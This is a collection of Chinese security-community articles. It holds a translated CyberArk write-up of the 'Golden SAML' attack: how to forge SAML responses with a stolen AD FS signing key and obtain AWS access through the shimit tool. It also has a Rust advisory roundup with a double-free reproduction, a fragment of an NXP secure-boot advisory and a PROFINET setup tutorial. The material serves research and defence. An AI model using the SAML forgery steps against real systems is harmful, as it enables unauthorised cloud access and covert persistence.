2017年6月6日：ICS-CERT为这些漏洞分配了CVE编号。
2017年7月19日：本文发表。
**五、参考资料**
****
[1]<http://www.nxp.com/products/microcontrollers-and-processors/arm-processors/i.mx-applications-processors:IMX_HOME>
[2][https://qct-qualcomm.secure.force.com/QCTConference/GenericSitePage?eventname=2017Security&page=Summit%20Information](https://qct-qualcomm.secure.force.com/QCTConference/GenericSitePage?eventname=2017Security&page=Summit%20Information)
[3]<http://www.nxp.com/support/support/documentation:DOCUMENTATION>
[4]<https://boundarydevices.com/product/sabre-lite-imx6-sbc/>
[5]<http://www.nxp.com/docs/en/application-note/AN4581.pdf>
[6]<https://inversepath.com/usbarmory>
[7]<https://github.com/inversepath/usbarmory/blob/master/software/secure_boot/Security_Advisory-Ref_QBVR2017-0001.txt> | 社区文章 |
# 【技术分享】Golden SAML：针对云应用认证机制的新型攻击技术
|
##### 译文声明
本文是翻译文章，文章来源：cyberark.com
原文地址：<https://www.cyberark.com/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-cloud-apps/>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
在本文中，我们介绍了CyberArk实验室发现的名为“ **Golden SAML**
”（黄金SAML）的一种新型攻击技术。利用这种技术，攻击者可以创建一个Golden SAML，这实际上是一个伪造的SAML“身份认证对象”，以 **SAML
2.0** 协议作为 **SSO** （单点登录）认证机制的任何服务都受此攻击方法影响。
在这种攻击场景中，如果应用支持SAML认证（这类应用包括Azure、AWS、vSphere等），那么攻击者可以获得该应用的所有访问权限，也能伪装成目标应用上的任何用户（即使某些情况下该应用中并不存在这个用户）。
我们公布了一款工具：[ **shimit**](https://github.com/cyberark/shimit) ，我们可以借助该工具实施此类攻击。
随着云平台的兴起，越来越多的企业将基础架构迁移到云平台上，这种情况下，活动目录（Active
Directory，AD）已经不再是用户认证及授权的首选方案。AD现在是大型架构中的一个组成部分，比如联邦（federation）环境中就会用到AD机制。
互不相关的不同环境（如Microsoft
AD、Azure、AWS以及其他环境等）可以通过联邦机制建立信任关系。在这种信任关系背景下，AD中的某个用户可以使用SSO认证方式来访问联邦环境中所有可信的目标域。同样，在联邦环境中，攻击者也不再满足只控制受害者所属的域控制器（domain
controller）。
Golden SAML这个名字可能会让读者想起另一种臭名昭著的攻击方法，即黄金票据（Golden Ticket），黄金票据是Benjamin
Delpy提出的攻击手法，他还开发了Mimikatz这款大名鼎鼎的工具。Golden
SAML可以将Kerberos环境中的黄金票据特性引入联邦环境中，获得所有类型的访问权限，也能悄无声息达成持久化目标。
**
**
**二、SAML简介**
如果读者对SAML 2.0协议并不了解，这里稍微介绍一下相关背景知识。
SAML的全称是Security Assertion Markup
Language（安全声明标记语言），是不同安全域之间交换认证及授权数据的一种开放标准协议，更具体一些，SAML中定义了身份提供商(identity
provider，IdP)以及服务提供商(service
provider，SP)，安全域由这两者共同构成。除名字所代表的含义以外，SAML也具备如下几种身份：
**1、基于XML的一种标记语言（用于断言（assertion）等场景）；**
**2、基于XML的一组协议信息；**
**3、一组协议信息的绑定（binding）；**
**4、一组配置信息（涵盖以上所有内容）。**
根据维基百科的说法，Web浏览器的单点登录（single sign-on，SSO）是SAML解决的最为重要的一种使用场景。
SAML协议的工作流程如图1所示。
图1. SAML认证过程
具体步骤如下：
1、首先，用户尝试访问某个应用（即SP，服务提供商），比如AWS控制台、vSphere
web客户端等。根据具体实现方式的不同，客户端可能会直接访问IdP，跳过图1中的第一个步骤。
2、随后，应用检测IdP（即身份提供商，如AD
FS、Okta等）以认证用户身份，生成SAML身份认证请求（AuthnRequest），将客户端重定向至IdP。
3、IdP对用户进行身份认证，生成响应数据（SAMLResponse），通过用户将响应数据发送给SP。
4、SP检查SAMLResponse，检查通过后允许用户登录。SP与IdP之间必须建立信任关系。此时，用户可以正常使用目标服务。
**
**
**三、SAML响应结构**
在Golden
SAML攻击场景中，我们最感兴趣的是SAML认证过程中的第3个步骤，作为攻击者，我们可以复现这一过程，完成攻击任务。为了成功实施攻击，我们先来看看这一步骤中发送的数据：SAMLResponse。IdP会将SAMLResponse对象发送给SP，然后SP使用这一数据来识别并认证用户身份（这类似于Kerberos中KDC生成的TGT票据）。在SAML
2.0协议中，SAMLResponse的常见结构如下所示（结构中的动态参数部分已用紫色标注出来）：
响应断言可能会经过IdP私钥的签名或者加密，具体使用哪种方案由IdP的实现方式所决定。通过这种方式，SP可以验证SAMLResponse是否由可信IdP所生成。
与[黄金票据攻击场景](https://github.com/gentilkiwi/mimikatz/wiki/module-~-kerberos#golden
--silver)类似，如果我们能够获取用于对象签名的密钥（对象中包含用户身份及权限信息，该密钥对应黄金票据中的KRBTGT以及Golden
SAML中的令牌签名私钥），那么我们就可以伪造这种“身份认证对象”（即TGT或SAMLResponse），冒充任何用户身份，未经授权访问SP。Roger
Grimes在2014年[定义](https://www.cyberark.com/blog/kerberos-attacks-what-you-need-to-know/)了一种黄金票据攻击方法，这种方法与Kerberos票据伪造攻击不同，为Kerberos KDC（Key Distribution
Center，密钥分发中心）伪造攻击技术。与此类似的是，我们也可以将Golden SAML攻击定义成一种IdP伪造攻击。
在这种攻击场景中，攻击者可以控制SAMLResponse对象中的任何字段（如用户名、权限集、有效期等）。此外，Golden SAML还具备如下优势：
**1、可以在任何位置生成伪造对象。攻击者无需参与目标域、联邦环境中，即可生成所需的Golden SAML。**
**2、即使目标启用了2FA（双因素认证）功能，也能发挥作用。**
**3、令牌签名私钥（token-signing private key）并不会自动更新。**
**4、用户密码的修改并不会影响已生成的SAML。**
也就是说，我们能得到一个公式：
**AWS + AD FS + Golden SAML = 成功的攻击行为**
假设我们的身份是攻击者，已突破目标域环境，正在探索如何继续前进以搞定最终目标。那么接下来应该怎么做？我们可以选择使用Golden
SAML来继续突破目标环境设施。
活动目录联合服务（[Active Directory Federation Services](https://msdn.microsoft.com/en-us/library/bb897402.aspx)，AD
FS）是微软提出的一种标准域服务，允许可信业务合作伙伴（即联邦实体）之间安全共享身份信息。该服务是域环境中的一种服务，可以为联邦环境中的其他SP提供域用户身份认证服务。
假设在联邦环境中，AWS信任我们已突破的那个域环境，那么我们可以利用这种攻击方法，获取云环境中的任意权限。为了实施这种攻击，我们需要掌握能够签名SAML对象的那个私钥（如同黄金票据攻击中需要获取KRBTGT）。我们无需具备域管访问权限，只需掌握AD
FS用户账户就能获取这个私钥。
实施Golden SAML攻击时，我们需要掌握如下信息：
**1、令牌签名私钥；**
**2、IdP公共证书；**
**3、IdP名称；**
**4、角色（Role）名称；**
**5、域名及用户名；**
**6、AWS中的角色会话名（Role session name）；**
**7、Amazon账户ID。**
前4项为必须满足的条件，对于其他选项，我们随便输入一个值即可。
那么如何才能满足这些条件？为了得到私钥，我们需要具备AD
FS账户的访问权限，然后从个人存储区中导出私钥数据（可以使用诸如mimikatz之类的工具来导出这段数据）。我们可以使用`Microsoft.Adfs.Powershell`这个PowerShell管理单元（snapin），以ADFS用户身份运行如下命令来得到其他数据：
获取ADFS公共证书：
获取IdP名称：
获取角色名称：
获取所需的所有数据后，我们可以直接进入攻击流程。首先，我们来看一下目标主机中是否已保存有效的AWS凭据。
不出所料，目标主机中没有保存任何凭据，但这种状态即将被我们改变。现在，我们可以使用shimit来生成SAMLResponse并对其进行签名。
该工具的工作过程如下所示：
图2. 使用shimit.py执行Golden SAML攻击
1、准备过程。
（1）生成与用户提供的参数匹配的一个断言（assertion）。在本文的演示案例中，我们提供的参数中包含用户名、Amazon账户ID以及所需的角色（使用的是第一个角色）。
（2）使用用户提供的私钥文件签名该断言。
（3）连接到SP上，然后调用AWS提供的AssumeRoleWithSAML API。
2、通过AWS STS服务获得访问密钥以及会话令牌（STS服务可以为联邦用户提供临时凭据）。
3、将该会话应用于命令行环境（其中已包含aws-cli环境变量），以便用户使用AWS命令行接口（CLI）。
在这种环境中，实施Golden SAML攻击仍存在一些限制条件，虽然我们可以生成SAMLResponse，使用 _–SamlValidity_
来设置该对象的有效时间，但AWS会检查响应数据的生成时间是否在5分钟以内，如果超过这个时长，AWS会拒绝用户的身份认证请求。服务器在执行正常检测流程之前，会先执行这一检查流程，以确保响应数据没有过期。
**
**
**四、总结**
这种攻击方法不需要依赖SAML 2.0协议中的漏洞，它不是AWS/ADFS中的漏洞，也不是其他SP或IdP中存在的漏洞。
我们认为黄金票据并不属于漏洞范围，因为攻击者首先需要获得域管权限才能执行此类攻击，这也是厂商不修复这一问题的原因所在。然而问题在于，攻击者还是可以通过各种方法获得所需的访问权限（域管权限），然后通过黄金票据连续数年潜伏在目标域环境中。
Golden
SAML与黄金票据非常类似，也不属于漏洞范畴，但攻击者可以利用这种方法未经授权访问联邦环境中的任何服务（当然前提是联邦环境使用了SAML协议），获取所需的任何权限，潜伏在目标环境中达成持久化目的。
如果攻击者以正确的方式实施此类攻击，防御方很难在网络环境中找到这种攻击行为的蛛丝马迹。此外，攻击者一旦突破目标网络环境，很有可能会瞄准环境中最有价值的目标（如DC、AD
FS以及其他IdP设施）。因此，对于本文的演示案例，我们建议防御方严密监视及严格管理AD
FS账户的访问权限，如果条件允许，应周期性地自动更新签名密钥，使攻击者难以完成任务。
此外，防御方应部署端点安全解决方案，重点关注权限管理方面内容（比如可以部署CyberArk生产的Endpoint Privilege
Manager解决方案），以阻止攻击者染指类似令牌签名证书之类的重要资产。
**
**
**五、参考资料**
[](https://aws.amazon.com/blogs/security/how-to-set-up-federated-api-access-to-aws-by-using-windows-powershell)
<https://aws.amazon.com/blogs/security/how-to-set-up-federated-api-access-to-aws-by-using-windows-powershell>
<https://aws.amazon.com/blogs/security/enabling-federation-to-aws-using-windows-active-directory-adfs-and-saml-2-0/>
<https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-single-sign-on-protocol-reference> | 社区文章 |
**作者：张汉东
原文链接：<https://mp.weixin.qq.com/s/y-APUMBid3J02UDUf-L5jw>
相关阅读：[Rust生态安全漏洞总结系列 | Part 1](https://paper.seebug.org/1728/ "Rust生态安全漏洞总结系列
| Part 1")**
本系列主要是分析 **`RustSecurity`
安全数据库库**[1]中记录的`Rust`生态社区中发现的安全问题，从中总结一些教训，学习`Rust`安全编程的经验。
本期分析了下面六个安全问题：
* RUSTSEC-2021-0067 : Cranelift 模块中代码生成缺陷导致可能的 WASM 沙箱逃逸
* RUSTSEC-2021-0054：rkyv crate 可能包含未初始化的内存
* RUSTSEC-2021-0041：parse_duration 通过用太大的指数解析 Payload 来拒绝服务(DOS)
* RUSTSEC-2021-0053：算法库中 `merge_sort::merge()` 导致实现 Drop 的类型 双重释放（ double-free）
* RUSTSEC-2021-0068: iced x86 版本中 不合理（Soundness） 的问题
* RUSTSEC-2021-0037：Diesel 库的 Sqlite 后端 UAF(use-after-free) bug
看是否能给我们一些启示。
* * *
## RUSTSEC-2021-0067 : Cranelift 模块中代码生成缺陷导致可能的 WASM 沙箱逃逸
在 Cranelift 中发现了一个漏洞。具有未知输入的操作导致特权升级漏洞。CWe正在将问题分类为CWE-264。这将对机密性，完整性和可用性产生影响。
### 漏洞描述：
* 漏洞类型：Vulnerability
* 漏洞分类：code-execution/ memory-corruption/ memory-exposure
* CVE 编号：CVE-2021-32629
* 详细： **<https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-hpqh-2wqx-7qp5>** [2]
* 影响架构：x86
* 补丁：`>=0.73.1` 和 `>=0.74.0`
Cranelift X64后端的`0.73.0`中有一个错误，可以创建一个可能导致 Webassembly 模块中的潜在沙箱逃逸(sandbox
escape )的场景。版本`0.73.0`的Cranelift的用户应升级到`0.73.1`或`0.74`，以修复此漏洞。
如果未使用旧的默认后端，则在`0.73.0`之前的 Cranelift 用户应该更新为`0.73.1`或`0.74`。
### 漏洞分析
此问题是在 Cranelift 新后端中引入的（Cranelift 经历过大的重构）。
>
> 一些背景：寄存器分配如果物理寄存器的数量不足以满足虚拟寄存器的需求，有些虚拟寄存器显然就只能映射到内存。这些虚拟寄存器称为溢出（spill）虚拟寄存器。寄存器分配算法的好坏直接决定了程序中寄存器的利用率。
> Cranelift 寄存器分配相关文章： **<https://cfallin.org/blog/2021/03/15/cranelift-> isel-3/>** [3]该文章还详细介绍了该团队如何保证 Cranelift 生成正确的代码。即便如此，还是产生了逻辑 Bug。
这个 Bug 是一个逻辑 Bug:
原因是，寄存器分配器重新加载比 64位 窄的溢出（spill）整数值时，从栈上加载的值执行了符号扩展而不是零扩展。
这对另一个优化产生了糟糕的影响：当我们知道产生32位值的指令实际上将其目标寄存器的高32位置零时，指令选择器将选择一个32到64位的零扩展运算符。因此，我们依赖于这些归零位，但值的类型仍然是I32，并且溢出/重新加载将这些比特位重构为I32的MSB的符号扩展。
所以，在某些特定情况下，如果i32值为指针，则可能会出现沙箱逃逸的情况。为堆访问发出的常规代码对 WebAssembly
堆地址进行零扩展，将其添加到64位堆基，然后访问结果地址。如果零扩展成为符号扩展，则模块可以在堆开始之前向后访问并访问最大2GiB的内存。
> 符号扩充 (sign-extend): 指在保留数字的符号（正负性）及数值的情况下，增加二进制数字位数的操作。 零扩充（zero-> extend）：用于将无符号数字移动至较大的字段中，同时保留其数值。
该 Bug 的影响力依赖于堆的实现。具体而言：
如果堆有边界检查。并且，不完全依赖于保护页面。并且堆绑定为2GiB或更小。则该 Bug 无法用于从另一个 WebAssembly 模块堆访问内存。
如果使用此 Bug 可访问的范围中没有映射内存，例如，如果 WebAssembly 模块堆之前有 2 GiB 保护区域，则可以减轻此漏洞的影响。
* 修复 PR: **<https://github.com/bytecodealliance/wasmtime/pull/2919/files>** [4]
* 点击查看详细内容，了解对 lucet 和 wastmtime的影响： **<https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-hpqh-2wqx-7qp5>** [5]
## RUSTSEC-2021-0054：rkyv crate 可能包含未初始化的内存
### 漏洞描述：
* 漏洞类型：Vulnerability
* 漏洞分类：memory-exposure
* CVE 编号：无
* 详细： **<https://github.com/djkoloski/rkyv/issues/113>** [6]
* 补丁：`>=0.6.0`
rkyv是一个序列化框架 在序列化期间，可能无法初始化结构填充字节和未使用的枚举字节。这些字节可以写入磁盘或发送不安全的通道。
### 漏洞分析
补丁代码：
**<https://github.com/djkoloski/rkyv/commit/9c65ae9c2c67dd949b5c3aba9b8eba6da802ab7e>**
[7]
有问题的代码：
unsafe fn resolve_aligned<T: Archive + ?Sized>(
&mut self,
value: &T,
resolver: T::Resolver,
) -> Result<usize, Self::Error> {
// ...
let mut resolved = mem::MaybeUninit::zeroed();
// ...
}
`mem::MaybeUninit::zeroed()`函数会创建一个新的`MaybeUninit<T>`实例，并且该内存位会被填充`0`。但是这依赖于
`T`是否能被正确初始化。比如：`MaybeUninit<usize>::zeroed()`是初始化，但是`MaybeUninit<&'static
i32>::zeroed()`就没有被正确初始化。这是因为 Rust 里引用不能为空。
所以，现在这个 resolver 是个泛型 `T`，不一定能正确初始化，所以有未初始化的风险。
修复之后的代码：
let mut resolved = mem::MaybeUninit::<T::Archived>::uninit();
resolved.as_mut_ptr().write_bytes(0, 1);
直接假设其没有正确初始化，然后使用`write_bytes`手工将其初始化，确保正确。
## RUSTSEC-2021-0041：parse_duration 通过用太大的指数解析 Payload 来拒绝服务(DOS)
### 漏洞描述：
* 漏洞类型：Vulnerability
* 漏洞分类：denial-of-service
* CVE 编号：CAN-2021-1000007 / CVE-2021-29932
* 详细： **<https://github.com/zeta12ti/parse_duration/issues/21>** [8]
* 补丁：无，作者放弃维护
### 漏洞解析
parse_duration 库用来将字符串解析为持续时间（duration）。
问题代码：
if exp < 0 {
boosted_int /= pow(BigInt::from(10), exp.wrapping_abs() as usize);
} else {
boosted_int *= pow(BigInt::from(10), exp.wrapping_abs() as usize);
}
duration.nanoseconds += boosted_int;
此为 parse 函数内的代码片段，允许使用指数级的持续时间字符串解析，其中BigInt 类型与 pow 功能一起用于这类
Payload。该功能会导致长时间占用CPU和内存。
这允许攻击者使用 parse 功能来制造 DOS 攻击。虽然该库已经不维护了，而且star数也不多，但是不清楚依赖它的库有多少，可以使用 cargo-audit 来检查你项目里的依赖。
## RUSTSEC-2021-0053：算法库中 `merge_sort::merge()`导致实现 Drop 的类型 双重释放（ double-free）
* 漏洞类型：Vulnerability
* 漏洞分类：memory-corruption
* CVE 编号：无
* 详细： **<https://github.com/AbrarNitk/algorithmica/issues/1>** [9]
* 补丁：暂无
### 漏洞分析
**algorithmica** [10]是 Rust 实现算法的教学库，网站为：
**<https://www.fifthtry.com/abrar/rust-algorithms/>** [11]。
该库中的归并排序的实现中，merge 函数导致 对列表元素持有双份所有权，所以会双重释放（double free）。
注意下面源码中，为 unsafe rust 实现。
fn merge<T: Debug, F>(list: &mut [T], start: usize, mid: usize, end: usize, compare: &F)
where
F: Fn(&T, &T) -> bool,
{
let mut left = Vec::with_capacity(mid - start + 1);
let mut right = Vec::with_capacity(end - mid);
unsafe {
let mut start = start;
while start <= mid {
left.push(get_by_index(list, start as isize).read());
start += 1;
}
while start <= end {
right.push(get_by_index(list, start as isize).read());
start += 1;
}
}
let mut left_index = 0;
let mut right_index = 0;
let mut k = start;
unsafe {
while left_index < left.len() && right_index < right.len() {
if compare(&left[left_index], &right[right_index]) {
// 通过 `list[k] = ` 这种方式重复持有元素所有权
list[k] = get_by_index(&left, left_index as isize).read();
left_index += 1;
} else {
list[k] = get_by_index(&right, right_index as isize).read();
right_index += 1;
}
k += 1;
}
while left_index < left.len() {
list[k] = get_by_index(&left, left_index as isize).read();
left_index += 1;
k += 1;
}
while right_index < right.len() {
list[k] = get_by_index(&right, right_index as isize).read();
right_index += 1;
k += 1;
}
}
}
unsafe fn get_by_index<T>(list: &[T], index: isize) -> *const T {
let list_offset = list.as_ptr();
list_offset.offset(index)
}
Bug 复现：
use algorithmica::sort::merge_sort::sort;
fn main() {
let mut arr = vec![
String::from("Hello"),
String::from("World"),
String::from("Rust"),
];
// Calling `merge_sort::sort` on an array of `T: Drop` triggers double drop
algorithmica::sort::merge_sort::sort(&mut arr);
dbg!(arr);
}
输出：
free(): double free detected in tcache 2
Terminated with signal 6 (SIGABRT)
该 Bug 还未得到修复。
此问题给我们的启示：不要为了刷题而忽略安全。
## RUSTSEC-2021-0068: iced x86 版本中 不合理（Soundness） 的问题
### 漏洞描述：
* 漏洞类型：Vulnerability
* 漏洞分类：soundness
* CVE 编号：无
* 详细： **<https://github.com/icedland/iced/issues/168>** [12]
* 补丁：`>1.10.3`
### 漏洞分析
iced 用户在使用 miri 编译其项目时，发现 UB:
error: Undefined Behavior: memory access failed: pointer must be in-bounds at offset 4, but is outside bounds of alloc90797 which has size 3
--> C:\Users\lander\.rustup\toolchains\nightly-x86_64-pc-windows-msvc\lib\rustlib\src\rust\library\core\src\slice\mod.rs:365:18
|
365 | unsafe { &*index.get_unchecked(self) }
| ^^^^^^^^^^^^^^^^^^^^^^^^^^^ memory access failed: pointer must be in-bounds at offset 4, but is outside bounds of alloc90797 which has size 3
|
= help: this indicates a bug in the program: it performed an invalid operation, and caused Undefined Behavior
= help: see https://doc.rust-lang.org/nightly/reference/behavior-considered-undefined.html for further information
= note: inside `core::slice::<impl [u8]>::get_unchecked::<usize>` at C:\Users\lander\.rustup\toolchains\nightly-x86_64-pc-windows-msvc\lib\rustlib\src\rust\library\core\src\slice\mod.rs:365:18
= note: inside `iced_x86::Decoder::new` at C:\Users\lander\.cargo\registry\src\github.com-1ecc6299db9ec823\iced-x86-1.9.1\src\decoder\mod.rs:457:42
note: inside `Emulator::run` at src\lib.rs:563:27
--> src\lib.rs:563:27
|
563 | let mut decoder = Decoder::new(self.bitness, bytes, self.decoder_options);
该用户在使用 `Decoder::new` 的时候出现了 UB。在 iced相关源码中，即
`iced/src/rust/iced-x86/src/decoder.rs` 中，存在
let data_ptr_end: *const u8 = unsafe {
data.get_unchecked(data.len())
};
根据 **标准库文档** [13]描述：
> Calling this method with an out-of-bounds index is undefined behavior even
> if the resulting reference is not used.使用 界外索引调用该方法就是
> 未定义行为（UB），即便这个结果的引用没有被使用。
示例：
let x = &[1, 2, 4];
unsafe {
assert_eq!(x.get_unchecked(1), &2);
assert_eq!(x.get_unchecked(3), &2); // UB
}
该代码已经被修复为，不再使用 get_unchecked ：
let data_ptr_end = data.as_ptr() as usize + data.len();
### RUSTSEC-2021-0037：Diesel 库的 Sqlite 后端 UAF(use-after-free) bug
### 漏洞描述：
* 漏洞类型：Vulnerability
* 漏洞分类：memory-corruption
* CVE 编号：CVE-2021-28305
* 详细： **<https://github.com/diesel-rs/diesel/pull/2663>** [14]
* 补丁：`>=1.4.6`
### 漏洞分析
Diesel 的 sqlite 后端使用了 libsqlite3_sys 这个库来调用 sqlite
提供的sql函数。比如`sqlite3_finalize` 和 `sqlite3_step` 之类。
> sqlite 函数执行调用过程：
>
> * sqlite3_open()
> * sqlite3_prepare()
> * sqlite3_step() // 用于执行有前面sqlite3_prepare创建的 预编译语句
> * sqlite3_column() // 从执行sqlite3_step()执行一个预编译语句得到的结果集的当前行中返回一个列
> * sqlite3_finalize() // 销毁前面被sqlite3_prepare创建的预编译语句
> * sqlite3_close()
>
Diesel 的 by_name 查询通用做法是将预编译语句的所有字段名称保存为字符串切片以备以后使用。
但是sqlite的行为是：
* 返回的字符串指针一直有效，直到准备好的语句被 `sqlite3_finalize()` 销毁，
* 或者直到第一次调用 `sqlite3_step()` 为特定运行自动重新预编译该语句，
* 或者直到下一次调用 `sqlite3_column_name()` 或 `sqlite3_column_name16()` 在同一列。
在之前版本的 Diesel 中，没有注意到这种情况，在调用 `sqlite3_step()`
之后，因为重新预编译语句，导致之前字符串切片指针就无效了。就造成 UAF 的情况。
这个案例告诉我们，在使用 FFi 的时候，要注意绑定sys库 的相关行为。这个在 Rust 编译器这边是无法检查发现的，案例应该属于逻辑 Bug。
## 参考资料
[1]`RustSecurity` 安全数据库库: _<https://rustsec.org/advisories/>_
[2]https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-hpqh-2wqx-7qp5:
_<https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-hpqh-2wqx-7qp5>_
[3]https://cfallin.org/blog/2021/03/15/cranelift-isel-3/:
_<https://cfallin.org/blog/2021/03/15/cranelift-isel-3/>_
[4]https://github.com/bytecodealliance/wasmtime/pull/2919/files:
_<https://github.com/bytecodealliance/wasmtime/pull/2919/files>_
[5]https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-hpqh-2wqx-7qp5:
_<https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-hpqh-2wqx-7qp5>_
[6]https://github.com/djkoloski/rkyv/issues/113:
_<https://github.com/djkoloski/rkyv/issues/113>_
[7]https://github.com/djkoloski/rkyv/commit/9c65ae9c2c67dd949b5c3aba9b8eba6da802ab7e:
_<https://github.com/djkoloski/rkyv/commit/9c65ae9c2c67dd949b5c3aba9b8eba6da802ab7e>_
[8]https://github.com/zeta12ti/parse_duration/issues/21:
_<https://github.com/zeta12ti/parse_duration/issues/21>_
[9]https://github.com/AbrarNitk/algorithmica/issues/1:
_<https://github.com/AbrarNitk/algorithmica/issues/1>_
[10]algorithmica: _<https://github.com/AbrarNitk/algorithmica>_
[11]https://www.fifthtry.com/abrar/rust-algorithms/:
_<https://www.fifthtry.com/abrar/rust-algorithms/>_
[12]https://github.com/icedland/iced/issues/168:
_<https://github.com/icedland/iced/issues/168>_
[13]标准库文档:<https://doc.rust-lang.org/std/primitive.slice.html#method.get_unchecked>
[14]https://github.com/diesel-rs/diesel/pull/2663:
_<https://github.com/diesel-rs/diesel/pull/2663>_
* * * | 社区文章 |
# 工控实战不同项目下PROFINET通讯搭建
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
PROFINET是开放的、标准的、实时的工业以太网标准，是基于20年来PROFIBUS
DP的成功应用经验，并将常用的用户操作与以太网技术中的新概念相结合。作为PROFINET的一部分，PROFINET
IO是用于实现模块化、分布式应用的通信概念。这样，通过多个节点的并行数据传输可更有效地使用网络。
PROFINET作为基于以太网的自动化标准，它定义了跨厂商的通信、自动化系统和工程组态模式。本文介绍西门子不同项目（不同组态软件）下、变频器（不同品牌）进行PROFINET通讯。
## 一、简介
### 1、网络结构
本次测试项目中，选择S7-1200为控制器，S7-300、ET200M、S7-200SMART、G120变频器（西门子）和GA700变频器（安川）为IO智能设备，网络结构如下：
图1.1 网络结构
### 2、使用环境
① S7 1215C V4.1
② S7 315-2PN/DP V3.2
③ S7 200SMART ST40
④ IM153-4 V4.0
⑤ TIA 博途 STEP7 V13 SP1
⑥ STEP 7 V5.6
⑦ STEP 7-MicroWIN SMART V2.05
### 3、实现功能
用于演示不同项目S7-1200与S7-300、S7-200SMART、分布式I/O
ET200M和不同品牌变频器G12O变频器（西门子）、GA700变频器（安川）PN口之间的PROFINET通信。主要是通过GSD文件进行数据传输。
ET200M和G12O变频器（西门子）分别在分布式I/O、其他现场设备中添加，I/O地址直接占用S7-1200
I/O地址，也可自行设置。S7-300和S7-200SMART需要通过安装GSD文件传输数据。注：如果在其他现场设备中找不到所需的G12O变频器（西门子）型号，可到官网下载GSD文件进行安装，步骤和I-Device安装步骤一样。
GA700变频器（安川）的GSD文件可在安川电机官网下载安装，步骤和I-Device安装步骤一样。
S7-300 CPU设置为I-Device，建立两个传输区，并导出S7-300 CPU的GSD文件：
① 传输区_1：S7-300 CPU接收从IB10开始，长度为20个字节；
② 传输区_2：S7-300 CPU发送从QB10开始，长度为20个字节。
S7-200SMART CPU也设置为I-Device，建立两个传输区，并导出S7-200SMART CPU的GSD文件：
① 传输区_1：S7-200SMART CPU接收从IB1152开始，长度为10个字节；
② 传输区_2：S7-200SMART CPU发送从QB1152开始，长度为10个字节。
S7-1200 CPU设置为IO-Controller，并导入S7-300 CPU和S7-200SMART的GSD文件：
① 传输区_1：S7-1200 PN CPU发送从QB10开始，长度为20个字节；
② 传输区_2：S7-1200 PN CPU接收从IB10开始，长度为20个字节；
③ 传输区_3：S7-1200 PN CPU接收从QB1152开始，长度为10个字节；
④ 传输区_4：S7-1200 PN CPU发送从IB1152开始，长度为10个字节。
## 二、组态步骤
### 1、主控制器组态
在TIA
Portal组态软件中，创建一个新项目。然后进入“项目视图”对S7-1200进行硬件组态。在CPU属性窗口，修改控制器名称（S7-1200）和设置IP地址，并在“设备视图”窗口中，继续添加IO模块。
图2.1 添加CPU
图2.2 修改名称
图2.3 修改IP地址
### 2、IO智能设备组态
#### 2.1 ET200M接口模块组态
在TIA Portal组态软件继续组态，ET200M接口模块和G120变频器组态步骤一样，以ET200M接口模块为例。
在网络窗口添加ET200M接口模块IM 153-4PN，并在设备视图进行硬件配置，根据实际的模块型号，插入电源模块和DI、DO模块到相应的槽位。
图2.4 添加分布式I/O
在“属性”>“常规”的“名称”中修改该接口模块的设备名称（ET200M）。
图2.5 修改名称
在“属性”>“常规”>“以太网地址”中设置IP地址“192.168.30.62”。注意要与S7-1200 CPU的IP地址在同一个网段，且地址不能重复。
图2.6 修改IP地址
在“网络视图”中将ET200M分配给S7-1200，S7-1200作为ET200M的控制器。
图2.7 分配控制器
#### 2.2 S7-300组态
使用STEP7 V5.6创建一个新项目，并在硬件组态界面中组态315-2 PN/DP，设置IP地址，并确认设备名称。注意要与S7-1200
CPU的IP地址在同一个网段，且地址不能重复。
图2.8新建项目
图2.9 配置CPU
然后在属性窗口“I设备”选项中，勾选“I设备模式”，新建传送区域，注意，地址不能冲突。
图2.10 新建传送区域
展开菜单栏中的选项，选择“创建用于I设备的GSD文件”，导出GSD文件。
图2.11 创建GSD文件
图2.12 导出GSD文件
图2.13 GSD文件存储位置
#### 2.3 S7-200SMART组态
使用STEP 7-MicroWIN SMART新建一个项目，选择CPU ST40，在系统块窗口通信中，设置IP地址和站名称。注意要与S7-1200
CPU的IP地址在同一个网段，且地址不能重复。
图2.14 修改CPU IP地址
在启动选项中，选择“CPU模式”为“RUN”。
图2.15 修改CPU启动模式
在项目树窗口中，展开项目>向导，双击打开“PROFINET”，勾选PLC角色为“智能设备”，以太网端口选择固定IP地址及站名。
图2.16 打开PROFINET配置窗口
图2.17 修改PLC角色和以太网端口
在“智能设备配置”窗口中，添加输入/输出两个传输区，并导出GSD文件。
图2.18 添加传送区和导出GSD文件
### 3、GSD文件安装
打开TIA
Portal组态软件，在菜单栏中，展开“选项”，选择“管理通用站描述文件（GSD）”，在弹出的窗口中，分别找到S7-300、S7-200SMART、GA700变频器（安川）的GSD文件的源路径，安装GSD文件。以S7-300为例。
图2.19 打开GSD文件安装窗口
图2.20 安装GSD文件
图2.21 安装GSD文件成功
安装完成后，在硬件目录中的“其他现场设备”>“PROFINET IO”中找到已安装的IO智能设备。然后拖拉到窗口中。
图2.22 添加IO智能设备
在GA700变频器属性窗口中，修改IP地址。注意要与S7-1200 CPU的IP地址在同一个网段，且地址不能重复。
图2.23 GA700变频器修改IP地址
然后分配到S7-1200。经过上述的操作，在项目的网络视图中得到完整的网络结构。
图2.24 完整网络结构
### 4、分配名称
分配名称操作都一样，以ET200M分配名称为例。
在“设备视图”中，右键选择“分配设备名称”。
图2.25 打开分配名称窗口
勾选“闪烁LED”，观察模块指示灯是否闪烁，来确认PROFINET设备。选择要分配的设备，点击“分配名称”。
图2.26 分配设备名称
分配设备名称可能需要几秒钟的时间，在这期间软件界面是禁止操作的。注意，未分配名称，或者名称不一致，都会导致之后下载错误。
图2.27 分配成功
### 5、编译下载
将S7-300、S7-200SMART以及S7-1200的硬件配置编译后下载。
图2.28 下载硬件配置
## 三、通讯调试
系统结构建立后，PROFINET
IO控制器S7-1200、智能设备S7-300、S7-200SMART、M151-3、G12O变频器和GA700变频器之间可以进行数据交换。
